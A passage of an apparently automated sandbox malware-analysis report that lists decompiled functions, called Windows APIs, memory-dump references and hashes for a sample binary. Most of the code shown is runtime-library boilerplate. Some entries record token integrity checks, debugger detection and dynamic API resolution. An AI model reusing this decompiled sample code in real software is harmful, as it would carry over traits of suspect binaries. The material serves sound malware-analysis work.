Opcode Fuzzy Hash: 47933fb5141610f3c38ad6064849ea1273365f1c966ce71b99d5bc0c0d9c7a6b
Instruction Fuzzy Hash: EE31D571E00215EFCB11AFA4DD41A9EBBB4EF04318F54419AEC45A7242E739AA11CB95

Function 00430574, Relevance: 6.1, APIs: 4, Instructions: 100

C-Code - Quality: 68%

			E00430574(intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				char* _v12;
				char _v16;
				intOrPtr _v20;
				char _v28;
				void* __ebx;
				void* __edi;
				void* _t45;
				void* _t55;
				void* _t61;
				signed int _t68;
				intOrPtr _t74;
				intOrPtr _t75;
				void* _t76;
				intOrPtr _t77;
				char* _t82;
				void* _t84;
				char* _t85;
				void* _t86;
				void* _t87;
				void* _t88;

				_t75 = __edx;
				_push(_t76);
				_t68 = 0;
				E0042AB46( &_v28, _t76, _a4);
				_t77 =  *((intOrPtr*)(_v28 + 0xd4));
				_v8 = 0;
				do {
					_v12 = E0042AA00( *((intOrPtr*)((_v8 << 2) + _t77 + 0x1c)));
					_t45 = E0042AA00( *((intOrPtr*)((_v8 << 2) + _t77)));
					_v8 = _v8 + 1;
					_t16 = _v12 + 2; // 0x2
					_t68 = _t45 + _t68 + _t16;
				} while (_v8 < 7);
				_t17 = _t68 + 1; // 0x3
				_t82 = E0042B5BD(_t17);
				_pop(_t74);
				_v12 = _t82;
				if(_t82 != 0) {
					_v8 = _v8 & 0x00000000;
					do {
						 *_t82 = 0x3a;
						_t84 = _t82 + 1;
						_t55 = E0042AA8B(_t75, _t84, _v12 - _t84 + _t68 + 1,  *((intOrPtr*)(_t77 + _v8 * 4)));
						_t88 = _t87 + 0xc;
						if(_t55 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(_t68, _t74, _t75, _t77, 0);
							_t88 = _t88 + 0x14;
						}
						_t85 = _t84 + E0042AA00(_t84);
						 *_t85 = 0x3a;
						_t86 = _t85 + 1;
						_t61 = E0042AA8B(_t75, _t86, _v12 - _t86 + _t68 + 1,  *((intOrPtr*)(_t77 + 0x1c + _v8 * 4)));
						_t87 = _t88 + 0x10;
						if(_t61 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(_t68, _t74, _t75, _t77, 0);
							_t87 = _t87 + 0x14;
						}
						_t82 = _t86 + E0042AA00(_t86);
						_v8 = _v8 + 1;
						_pop(_t74);
					} while (_v8 < 7);
					 *_t82 = 0;
				}
				if(_v16 != 0) {
					 *(_v20 + 0x70) =  *(_v20 + 0x70) & 0xfffffffd;
				}
				return _v12;
			}

0x00430574
0x0043057c
0x00430583
0x00430585
0x0043058d
0x00430593
0x00430596
0x004305a8
0x004305ab
0x004305b2
0x004305be
0x004305be
0x004305be
0x004305c4
0x004305cd
0x004305d1
0x004305d2
0x004305d5
0x004305db
0x004305df
0x004305e2
0x004305eb
0x004305f4
0x004305f9
0x004305fe
0x00430602
0x00430603
0x00430604
0x00430605
0x00430606
0x00430607
0x0043060c
0x0043060c
0x00430615
0x0043061a
0x00430624
0x0043062d
0x00430632
0x00430637
0x0043063b
0x0043063c
0x0043063d
0x0043063e
0x0043063f
0x00430640
0x00430645
0x00430645
0x0043064e
0x00430650
0x00430657
0x00430657
0x0043065a
0x0043065a
0x00430664
0x00430669
0x00430669
0x00430671

APIs

_strlen.LIBCMT ref: 004305A0
_strlen.LIBCMT ref: 004305AB

Part of subcall function 0042B5BD: Sleep.KERNEL32(00000000,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042B5DA

_strlen.LIBCMT ref: 00430610

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

_strlen.LIBCMT ref: 00430649

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: _strlen$ExceptionFilterProcessUnhandled$CurrentDebuggerPresentSleepTerminate
String ID:
API String ID: 1975150641-0
Opcode ID: 49a701670824e939951f09ed6dd6006d818b239a49c1328e48303ba3ee5a6c64
Instruction ID: 70aa86bcaba1075731be4efd8e23673aa6805e040b540928605c4d99c789d966
Opcode Fuzzy Hash: 49a701670824e939951f09ed6dd6006d818b239a49c1328e48303ba3ee5a6c64
Instruction Fuzzy Hash: 7431F7B1D00229EFCB11DFA4D942A9EBBF8EF04308F54419AEC00A7246D734DB10CB95

Function 00428FDE, Relevance: 6.0, APIs: 4, Instructions: 47
thread

C-Code - Quality: 70%

			E00428FDE(void* __ebx, void* __edx) {
				void* __edi;
				void* __esi;
				void* _t10;
				long _t13;
				void* _t21;
				long _t22;
				long* _t23;

				_t21 = __edx;
				_t22 = GetLastError();
				E00428EAA();
				_push( *0x43e518);
				_t23 =  *(TlsGetValue( *0x43e51c))();
				if(_t23 == 0) {
					_t23 = E0042B5FD(1, 0x214);
					if(_t23 != 0) {
						_push(_t23);
						_push( *0x43e518);
						_t10 =  *((intOrPtr*)(E00428E23( *0x43f4c4)))();
						_t26 = _t10;
						if(_t10 == 0) {
							_push(_t23);
							E0042B4FE(__ebx, _t21, _t22, _t23, __eflags);
							_t23 = 0;
							__eflags = 0;
						} else {
							_push(0);
							_push(_t23);
							E00428F2A(__ebx, _t21, _t22, _t23, _t26);
							_t13 = GetCurrentThreadId();
							_t23[1] = _t23[1] | 0xffffffff;
							 *_t23 = _t13;
						}
					}
				}
				SetLastError(_t22);
				return _t23;
			}

0x00428fde
0x00428fe6
0x00428fe8
0x00428fed
0x00429001
0x00429005
0x00429013
0x00429019
0x0042901b
0x0042901c
0x0042902e
0x00429030
0x00429032
0x0042904c
0x0042904d
0x00429053
0x00429053
0x00429034
0x00429034
0x00429036
0x00429037
0x0042903e
0x00429044
0x00429048
0x00429048
0x00429032
0x00429019
0x00429056
0x00429060

APIs

GetLastError.KERNEL32(?,?,0042849C), ref: 00428FE0

Part of subcall function 00428EAA: TlsGetValue.KERNEL32 ref: 00428EB0
Part of subcall function 00428EAA: TlsSetValue.KERNEL32(00000000,?,0042849C), ref: 00428ECD

TlsGetValue.KERNEL32 ref: 00428FF9
SetLastError.KERNEL32(00000000,?,?,0042849C), ref: 00429056

Part of subcall function 0042B5FD: Sleep.KERNEL32(00000000), ref: 0042B622

Part of subcall function 00428E23: TlsGetValue.KERNEL32 ref: 00428E30
Part of subcall function 00428E23: TlsGetValue.KERNEL32 ref: 00428E47
Part of subcall function 00428E23: GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,00428EC5,?,?,0042849C), ref: 00428E5C
Part of subcall function 00428E23: GetProcAddress.KERNELBASE(00000000,DecodePointer,?,00428EC5,?,?,0042849C), ref: 00428E6C
Part of subcall function 00428E23: RtlDecodePointer.NTDLL(?,?,00428EC5,?,?,0042849C), ref: 00428E7A

GetCurrentThreadId.KERNEL32(?,?,0042849C), ref: 0042903E

Part of subcall function 0042B4FE: HeapFree.KERNEL32(00000000,?,0043AEB0), ref: 0042B566
Part of subcall function 0042B4FE: GetLastError.KERNEL32(?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042B577

Part of subcall function 00428F2A: GetModuleHandleA.KERNELBASE(KERNEL32.DLL,0043AD08,0000000C,0042903C,00000000,00000000,?,?,0042849C), ref: 00428F3B
Part of subcall function 00428F2A: GetProcAddress.KERNELBASE(00000000,EncodePointer), ref: 00428F64
Part of subcall function 00428F2A: GetProcAddress.KERNELBASE(?,DecodePointer), ref: 00428F74
Part of subcall function 00428F2A: InterlockedIncrement.KERNEL32(0043E7E0), ref: 00428F96

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Value$AddressErrorLastProc$HandleModule$CurrentDecodeFreeHeapIncrementInterlockedPointerSleepThread
String ID:
API String ID: 425413561-0
Opcode ID: 44ad79e9df64efdcf3fdad3d920d40e9727575134b250ede4f13abf50685c027
Instruction ID: 6722b87a7e8e27385857dab24170fd69986f3c991b7eb40faf658753578bb5b6
Opcode Fuzzy Hash: 44ad79e9df64efdcf3fdad3d920d40e9727575134b250ede4f13abf50685c027
Instruction Fuzzy Hash: 87F0F232205232AADB352B76BC0E68E3B64EF01764B51112AF519961E1EF6A8D41469C

Function 0042D002, Relevance: 6.0, APIs: 4, Instructions: 45memory

APIs

RtlReAllocateHeap.NTDLL ref: 0042D013
RtlAllocateHeap.NTDLL(00000008,000041C4), ref: 0042D049
VirtualAlloc.KERNEL32(?,00100000,00002000,00000004), ref: 0042D063
HeapFree.KERNEL32(?,?), ref: 0042D07A

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Allocate$AllocFreeVirtual
String ID:
API String ID: 94566200-0
Opcode ID: 931a6870479254e9226719fbab2efb106a9e47a29f0d8277f260c48e4df4e22b
Instruction ID: e7c6e87933a05d9c2862ca86b1115f6c61a71e39fed12f77b424323b0eafd8c8
Opcode Fuzzy Hash: 931a6870479254e9226719fbab2efb106a9e47a29f0d8277f260c48e4df4e22b
Instruction Fuzzy Hash: 4C115B71A00311ABC7205F24EC05A167BB5F794720B64A63AE696D65F0E3B09C099F28

Function 00407CB0, Relevance: 6.0, APIs: 4, Instructions: 43memory

APIs

OpenProcess.KERNEL32(00000400,00000000,0040CAA7), ref: 00407CC8

Part of subcall function 004088D0: GetModuleHandleA.KERNEL32(00000000,00000000,0000000D,00000010,?), ref: 00408A6F
Part of subcall function 004088D0: GetProcAddress.KERNEL32(00000000), ref: 00408A76
Part of subcall function 004088D0: GetProcessHeap.KERNEL32(00000008,00000104), ref: 00408AB5
Part of subcall function 004088D0: HeapAlloc.KERNEL32(00000000), ref: 00408ABC
Part of subcall function 004088D0: wsprintfA.USER32 ref: 00408B86

CloseHandle.KERNEL32(00000000), ref: 00407D17

Part of subcall function 0040D030: GetModuleHandleA.KERNEL32(00000000,00000000,00000010,0000000A,0000000D), ref: 0040D283
Part of subcall function 0040D030: GetProcAddress.KERNEL32(00000000), ref: 0040D28A
Part of subcall function 0040D030: GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040D2A8
Part of subcall function 0040D030: GetProcAddress.KERNEL32(00000000), ref: 0040D2AF
Part of subcall function 0040D030: GetModuleHandleA.KERNEL32(00000000,00000000,00000009,0000000F), ref: 0040D468
Part of subcall function 0040D030: GetProcAddress.KERNEL32(00000000), ref: 0040D46F
Part of subcall function 0040D030: GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040D490
Part of subcall function 0040D030: GetProcAddress.KERNEL32(00000000), ref: 0040D497

GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00407D06
HeapFree.KERNEL32(00000000), ref: 00407D0D

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Handle$AddressModuleProc$Heap$Process$AllocCloseFreeOpenwsprintf
String ID:
API String ID: 2622340318-0
Opcode ID: 872d76004ff85de5b87e543d29cb975a60df4b913f190a5e9b296f3441fc7585
Instruction ID: 3385b8073d4e3640c167af8eac914324112f05056136b1637cbb70cc78f951c2
Opcode Fuzzy Hash: 872d76004ff85de5b87e543d29cb975a60df4b913f190a5e9b296f3441fc7585
Instruction Fuzzy Hash: 4D1129B5D44208FFEB00DFE4C948BEEBBB5AF04305F10856AE604A7280C7B85A41CF99

Function 00410F20, Relevance: 6.0, APIs: 4, Instructions: 41

APIs

GetCurrentProcess.KERNEL32(00020008,00410CCA), ref: 00410F68
OpenProcessToken.ADVAPI32(00000000), ref: 00410F6F
GetTokenInformation.ADVAPI32(00410CCA,00000014(TokenIntegrityLevel),00000000,00000004,?), ref: 00410F89
CloseHandle.KERNEL32(00410CCA), ref: 00410F93

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: e90439357f2f4f28098546160872f567bf4b98de7383e2d9eef6fac5d7a8c4d0
Instruction ID: a5abb74767f6563c3bb98009868292e911da386817d2d191a94732b7a548366d
Opcode Fuzzy Hash: e90439357f2f4f28098546160872f567bf4b98de7383e2d9eef6fac5d7a8c4d0
Instruction Fuzzy Hash: 2A0144B5940209BBEB20DFD4DC85BFEB775EB48700F0081A9B9019B280D7B99A899B54

Function 004370C1, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 244

C-Code - Quality: 36%

			E004370C1(signed int __edx, intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v48;
				intOrPtr _v52;
				char _v60;
				void* __ebx;
				void* __edi;
				signed int* _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t134;
				signed short _t136;
				signed int _t137;
				intOrPtr* _t138;
				signed int _t139;
				intOrPtr _t141;
				signed int _t144;
				signed int _t148;
				signed int _t150;
				void* _t156;
				void* _t158;
				signed char _t159;
				intOrPtr* _t162;
				intOrPtr _t167;
				signed int _t171;
				signed char _t172;
				signed int _t177;
				signed int _t179;
				void* _t182;
				signed int _t183;
				intOrPtr* _t185;
				signed int _t186;
				char _t188;
				void* _t191;
				void* _t193;

				_t179 = __edx;
				E0042AB46( &_v60, _t182, _a4);
				_t128 = _a12;
				_t183 = _a8;
				if(_t128 != 0) {
					 *_t128 = _t183;
				}
				_t196 = _t183;
				if(_t183 != 0) {
					__eflags = _a16;
					if(_a16 == 0) {
						L9:
						_t188 = _v60;
						_v20 = 0;
						_v16 = 0;
						do {
							_t129 =  *_t183;
							_t183 = _t183 + 1;
							__eflags =  *((intOrPtr*)(_t188 + 0xac)) - 1;
							_v5 = _t129;
							if( *((intOrPtr*)(_t188 + 0xac)) <= 1) {
								_t132 =  *( *((intOrPtr*)(_t188 + 0xc8)) + (_v5 & 0x000000ff) * 2) & 8;
								__eflags = _t132;
							} else {
								_t132 = E004352D9(_t179, _t183, _v5 & 0x000000ff, 8,  &_v60);
								_t188 = _v60;
								_t193 = _t193 + 0xc;
							}
							__eflags = _t132;
						} while (_t132 != 0);
						__eflags = _v5 - 0x2d;
						_v12 = _t183;
						if(_v5 != 0x2d) {
							__eflags = _v5 - 0x2b;
							if(_v5 != 0x2b) {
								L18:
								__eflags = _a16;
								_t171 = 0x10;
								if(_a16 != 0) {
									L25:
									__eflags = _a16 - _t171;
									if(_a16 != _t171) {
										L30:
										asm("cdq");
										_t184 = _a16;
										_v40 = _t179;
										_t134 = E00437450(0xffffffff, 0xffffffff, _a16, _t179);
										_v32 = 0;
										_t167 =  *((intOrPtr*)(_t188 + 0xc8));
										_v36 = _t171;
										_v28 = _t134;
										_v24 = _t179;
										while(1) {
											_t172 = _v5;
											_t136 =  *(_t167 + (_t172 & 0x000000ff) * 2) & 0x0000ffff;
											__eflags = _t136 & 0x00000004;
											if((_t136 & 0x00000004) == 0) {
												goto L33;
											}
											_t191 = _t172 - 0x30;
											L37:
											__eflags = _t191 - _a16;
											if(_t191 >= _a16) {
												L47:
												_t137 = _a20;
												_v12 = _v12 - 1;
												__eflags = _t137 & 0x00000008;
												if((_t137 & 0x00000008) != 0) {
													__eflags = _t137 & 0x00000004;
													if(__eflags != 0) {
														L63:
														_t138 = E00429AEF(__eflags);
														__eflags = _a20 & 0x00000001;
														 *_t138 = 0x22;
														if((_a20 & 0x00000001) == 0) {
															__eflags = _a20 & 0x00000002;
															if((_a20 & 0x00000002) == 0) {
																_t109 =  &_v20;
																 *_t109 = _v20 | 0xffffffff;
																__eflags =  *_t109;
																_v16 = 0x7fffffff;
															} else {
																_v20 = _v20 & 0x00000000;
																_v16 = 0x80000000;
															}
														} else {
															_v20 = _v20 | 0xffffffff;
															_v16 = _v16 | 0xffffffff;
														}
														L68:
														_t139 = _a12;
														__eflags = _t139;
														if(_t139 != 0) {
															 *_t139 = _v12;
														}
														__eflags = _a20 & 0x00000002;
														if((_a20 & 0x00000002) != 0) {
															asm("adc ecx, 0x0");
															_v20 =  ~_v20;
															_v16 =  ~_v16;
														}
														__eflags = _v48;
														if(_v48 != 0) {
															_t141 = _v52;
															_t123 = _t141 + 0x70;
															 *_t123 =  *(_t141 + 0x70) & 0xfffffffd;
															__eflags =  *_t123;
														}
														return _v20;
													}
													__eflags = _t137 & 0x00000001;
													if((_t137 & 0x00000001) != 0) {
														goto L68;
													}
													_t144 = _t137 & 0x00000002;
													__eflags = _t144;
													if(_t144 == 0) {
														L59:
														__eflags = _t144;
														if(_t144 != 0) {
															goto L68;
														}
														__eflags = _v16 - 0x7fffffff;
														if(__eflags < 0) {
															goto L68;
														}
														if(__eflags > 0) {
															goto L63;
														}
														__eflags = _v20 - 0xffffffff;
														if(__eflags <= 0) {
															goto L68;
														}
														goto L63;
													}
													__eflags = _v16 - 0x80000000;
													if(__eflags > 0) {
														goto L63;
													}
													if(__eflags < 0) {
														goto L59;
													}
													__eflags = _v20;
													if(__eflags > 0) {
														goto L63;
													}
													goto L59;
												}
												__eflags = _a12;
												if(_a12 != 0) {
													_v12 = _a8;
												}
												_v20 = 0;
												_v16 = 0;
												goto L68;
											}
											_t177 = _v16;
											_a20 = _a20 | 0x00000008;
											__eflags = _t177 - _v24;
											if(__eflags < 0) {
												L51:
												_t150 = E00437900(_t184, _v40, _v20, _t177) + _t191;
												__eflags = _t150;
												asm("adc edx, ecx");
												_v20 = _t150;
												_v16 = _t179;
												L52:
												_v12 = _v12 + 1;
												_v5 =  *_v12;
												continue;
											}
											if(__eflags > 0) {
												L41:
												__eflags = _v20 - _v28;
												if(_v20 != _v28) {
													L46:
													_a20 = _a20 | 0x00000004;
													__eflags = _a12;
													if(_a12 != 0) {
														goto L52;
													}
													goto L47;
												}
												__eflags = _t177 - _v24;
												if(_t177 != _v24) {
													goto L46;
												}
												__eflags = 0 - _v32;
												if(__eflags < 0) {
													goto L51;
												}
												if(__eflags > 0) {
													goto L46;
												}
												__eflags = _t191 - _v36;
												if(_t191 <= _v36) {
													goto L51;
												}
												goto L46;
											}
											__eflags = _v20 - _v28;
											if(_v20 < _v28) {
												goto L51;
											}
											goto L41;
											L33:
											__eflags = _t136 & 0x00000103;
											if((_t136 & 0x00000103) == 0) {
												goto L47;
											}
											__eflags = _t172 - 0x61 - 0x19;
											_t148 = _t172;
											if(_t172 - 0x61 <= 0x19) {
												_t148 = _t148 - 0x20;
												__eflags = _t148;
											}
											_t54 = _t148 - 0x37; // -141
											_t191 = _t54;
											goto L37;
										}
									}
									__eflags = _v5 - 0x30;
									if(_v5 != 0x30) {
										goto L30;
									}
									_t156 =  *_t183;
									__eflags = _t156 - 0x78;
									if(_t156 == 0x78) {
										L29:
										_t185 = _t183 + 1;
										_t186 = _t185 + 1;
										__eflags = _t186;
										_v5 =  *_t185;
										_v12 = _t186;
										goto L30;
									}
									__eflags = _t156 - 0x58;
									if(_t156 != 0x58) {
										goto L30;
									}
									goto L29;
								}
								__eflags = _v5 - 0x30;
								if(_v5 == 0x30) {
									_t158 =  *_t183;
									__eflags = _t158 - 0x78;
									if(_t158 == 0x78) {
										L24:
										_a16 = _t171;
										goto L25;
									}
									__eflags = _t158 - 0x58;
									if(_t158 == 0x58) {
										goto L24;
									}
									_a16 = 8;
									goto L30;
								}
								_a16 = 0xa;
								goto L30;
							}
							L17:
							_t159 =  *_t183;
							_t183 = _t183 + 1;
							__eflags = _t183;
							_v12 = _t183;
							_v5 = _t159;
							goto L18;
						}
						_a20 = _a20 | 0x00000002;
						goto L17;
					}
					__eflags = _a16 - 2;
					if(__eflags < 0) {
						goto L3;
					}
					__eflags = _a16 - 0x24;
					if(__eflags > 0) {
						goto L3;
					}
					goto L9;
				}
				L3:
				_t162 = E00429AEF(_t196);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t162 = 0x16;
				E00429A77(0, _t179, _t183);
				if(_v48 != 0) {
					 *(_v52 + 0x70) =  *(_v52 + 0x70) & 0xfffffffd;
				}
				return 0;
			}

0x004370c1
0x004370cf
0x004370d4
0x004370d7
0x004370de
0x004370e0
0x004370e0
0x004370e2
0x004370e4
0x00437113
0x00437116
0x00437124
0x00437125
0x00437128
0x0043712b
0x0043712e
0x0043712e
0x00437130
0x00437131
0x00437138
0x0043713b
0x00437163
0x00437163
0x0043713d
0x00437148
0x0043714d
0x00437150
0x00437150
0x00437166
0x00437166
0x0043716a
0x0043716e
0x00437171
0x00437179
0x0043717d
0x00437188
0x00437188
0x0043718d
0x0043718e
0x004371b5
0x004371b5
0x004371b8
0x004371d4
0x004371d7
0x004371d9
0x004371e0
0x004371e3
0x004371e8
0x004371eb
0x004371f1
0x004371f4
0x004371f7
0x004371fa
0x004371fa
0x00437200
0x00437204
0x00437206
0x00000000
0x00000000
0x0043720b
0x00437227
0x00437227
0x0043722a
0x00437267
0x00437267
0x0043726a
0x0043726d
0x0043726f
0x004372b2
0x004372be
0x004372e7
0x004372e7
0x004372ec
0x004372f0
0x004372f6
0x00437302
0x00437306
0x00437311
0x00437311
0x00437311
0x00437315
0x00437308
0x00437308
0x0043730c
0x0043730c
0x004372f8
0x004372f8
0x004372fc
0x004372fc
0x00437318
0x00437318
0x0043731b
0x0043731e
0x00437323
0x00437323
0x00437325
0x00437329
0x00437333
0x00437338
0x0043733b
0x0043733b
0x0043733e
0x00437342
0x00437344
0x00437347
0x00437347
0x00437347
0x00437347
0x00000000
0x0043734e
0x004372c0
0x004372c2
0x00000000
0x00000000
0x004372c4
0x004372c4
0x004372c7
0x004372d6
0x004372d6
0x004372d8
0x00000000
0x00000000
0x004372da
0x004372dd
0x00000000
0x00000000
0x004372df
0x00000000
0x00000000
0x004372e1
0x004372e5
0x00000000
0x00000000
0x00000000
0x004372e5
0x004372c9
0x004372cc
0x00000000
0x00000000
0x004372ce
0x00000000
0x00000000
0x004372d0
0x004372d4
0x00000000
0x00000000
0x00000000
0x004372d4
0x00437273
0x00437276
0x0043727b
0x0043727b
0x0043727e
0x00437281
0x00000000
0x00437281
0x0043722c
0x0043722f
0x00437233
0x00437236
0x00437289
0x00437298
0x00437298
0x0043729a
0x0043729c
0x0043729f
0x004372a2
0x004372a7
0x004372aa
0x00000000
0x004372aa
0x00437238
0x00437242
0x00437245
0x00437248
0x0043725d
0x0043725d
0x00437261
0x00437265
0x00000000
0x00000000
0x00000000
0x00437265
0x0043724a
0x0043724d
0x00000000
0x00000000
0x00437251
0x00437254
0x00000000
0x00000000
0x00437256
0x00000000
0x00000000
0x00437258
0x0043725b
0x00000000
0x00000000
0x00000000
0x0043725b
0x0043723d
0x00437240
0x00000000
0x00000000
0x00000000
0x00437210
0x00437210
0x00437214
0x00000000
0x00000000
0x0043721a
0x0043721c
0x0043721f
0x00437221
0x00437221
0x00437221
0x00437224
0x00437224
0x00000000
0x00437224
0x004371fa
0x004371ba
0x004371be
0x00000000
0x00000000
0x004371c0
0x004371c2
0x004371c4
0x004371ca
0x004371ca
0x004371cd
0x004371cd
0x004371ce
0x004371d1
0x00000000
0x004371d1
0x004371c6
0x004371c8
0x00000000
0x00000000
0x00000000
0x004371c8
0x00437190
0x00437194
0x0043719f
0x004371a1
0x004371a3
0x004371b2
0x004371b2
0x00000000
0x004371b2
0x004371a5
0x004371a7
0x00000000
0x00000000
0x004371a9
0x00000000
0x004371a9
0x00437196
0x00000000
0x00437196
0x0043717f
0x0043717f
0x00437181
0x00437181
0x00437182
0x00437185
0x00000000
0x00437185
0x00437173
0x00000000
0x00437173
0x00437118
0x0043711c
0x00000000
0x00000000
0x0043711e
0x00437122
0x00000000
0x00000000
0x00000000
0x00437122
0x004370e6
0x004370e6
0x004370eb
0x004370ec
0x004370ed
0x004370ee
0x004370ef
0x004370f0
0x004370f6
0x00437101
0x00437106
0x00437106
0x00000000

APIs

__aulldvrm.INT64 ref: 004371E3

Strings

0, xrefs: 004371BA
$, xrefs: 0043711E

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: e9b75b160d152a1096ce588bb20cb80ffa3dd2ba15b1801d12f2fac0232d4292
Instruction ID: 6573d294f3aaa4ddda7deccad380db75ce11368f3a2d5273cc8cadea4e975f19
Opcode Fuzzy Hash: e9b75b160d152a1096ce588bb20cb80ffa3dd2ba15b1801d12f2fac0232d4292
Instruction Fuzzy Hash: B791A0B1C0824A9FDF35DF99C8416EFBBB0AF09314F14519BE8E1A2391C3384A45DB99

Function 004370C1, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 244

APIs

__aulldvrm.INT64 ref: 004371E3

Strings

$, xrefs: 0043711E
0, xrefs: 004371BA

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: c5748732d02fa406071b2ae791c5de0a8ec5d520e9ee1d945c2ea2b161ae5319
Instruction ID: 6573d294f3aaa4ddda7deccad380db75ce11368f3a2d5273cc8cadea4e975f19
Opcode Fuzzy Hash: c5748732d02fa406071b2ae791c5de0a8ec5d520e9ee1d945c2ea2b161ae5319
Instruction Fuzzy Hash: B791A0B1C0824A9FDF35DF99C8416EFBBB0AF09314F14519BE8E1A2391C3384A45DB99

Function 00401910, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 232

APIs

GetVersion.KERNEL32 ref: 0040193B

Part of subcall function 0040FCD0: GetModuleHandleA.KERNEL32(00000000,00000000,00000010,0000000A), ref: 0040FE76
Part of subcall function 0040FCD0: GetProcAddress.KERNEL32(00000000), ref: 0040FE7D

Part of subcall function 00410190: GetModuleHandleA.KERNEL32(00000000,00000000,0000000A,00000013,?), ref: 00410310
Part of subcall function 00410190: GetProcAddress.KERNEL32(00000000), ref: 00410317

Part of subcall function 00401010: GetModuleHandleA.KERNEL32(00000000,0000000A), ref: 004010F3

CloseHandle.KERNEL32(00000000), ref: 00401BC9

Part of subcall function 0040FB20: LoadLibraryA.KERNEL32(00000000), ref: 0040FC89
Part of subcall function 0040FB20: GetProcAddress.KERNEL32(00000000), ref: 0040FC90

Strings

P+@, xrefs: 00401B5C

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Handle$AddressModuleProc$CloseLibraryLoadVersion
String ID: P+@
API String ID: 189065042-2471578459
Opcode ID: 39ad903b6a0f13d01be6bcf0cbf686ee9940fe9ba7cfb33c1a9ffd562ceb29cf
Instruction ID: 00c56e390c356d14521d69392376ffdde4824dbd9fcc7defeb3c3cb92478ec47
Opcode Fuzzy Hash: 39ad903b6a0f13d01be6bcf0cbf686ee9940fe9ba7cfb33c1a9ffd562ceb29cf
Instruction Fuzzy Hash: 02A1D7B5E00209DFCB04CF98C594AAEB7B1FF48314F24856AE815AB391D734AA45CF95

Function 00435433, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174

APIs

__alloca_probe_16.NTDLLP ref: 004354D3
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0043555D

